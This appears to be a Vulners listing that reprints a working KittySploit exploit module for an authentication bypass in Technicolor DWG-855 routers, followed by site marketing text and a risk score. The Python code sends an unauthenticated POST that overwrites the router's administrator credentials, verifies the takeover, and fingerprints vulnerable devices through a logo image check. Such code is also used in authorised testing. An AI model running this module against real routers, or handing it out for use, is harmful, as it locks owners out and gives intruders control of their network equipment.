Technicolor DWG-855 Auth Bypass
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Technicolor DWG-855 Auth Bypass"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Technicolor DWG-855 Auth Bypass',
'description': "Module exploits Technicolor DWG-855 Authentication Bypass vulnerability which allows changing administrator\\'s password. NOTE: This module will errase previous credentials, this is NOT stealthy.",
'author': ['JPaulMora', '0BuRner'],
'platform': Platform.LINUX,
'references': ['Bug discovered some time before Aug 2016, this is the first reference to it!\nThis exploit works with any POST parameter, but changing admin creds gives you access to everything else.'],
'tags': ['iot', 'router', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
nuser = OptString("ruser", "New user (overwrites existing user)")
npass = OptString("rpass", "New password (overwrites existing password)")
def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Changing", self.target, "credentials to", self.nuser, ":", self.npass)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
"HttpUserId": self.nuser,
"Password": self.npass,
"PasswordReEnter": self.npass,
"RestoreFactoryNo": "0x00"
}
response = self.http_request(
method="POST",
path="/goform/RgSecurity",
headers=headers,
data=data
)
if response is None:
print_error("Target did not answer request.")
elif response.status_code == 401:
# Server obeys request but then sends unauthorized response.
# Here we send a GET request with the new creds.
check_response = self.http_request(
method="GET",
path="/RgSwInfo.asp",
auth=(self.nuser, self.npass)
)
if check_response.status_code == 200:
print_success("Credentials changed!")
elif response.status_code == 401:
print_error("Target answered, denied access.")
else:
pass
else:
print_error("Unknown error.")
else:
print_error("Exploit failed - Target seems to be not vulnerable")
def check(self):
# The check consists in trying to access router resources
# with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp = "\x11\x44\x75\x63\x6b\x79\x00" # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
response = self.http_request(
method="GET",
path="/logo.jpg",
auth=("", "")
)
if response is not None and vulnresp in response.text:
return True
else:
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9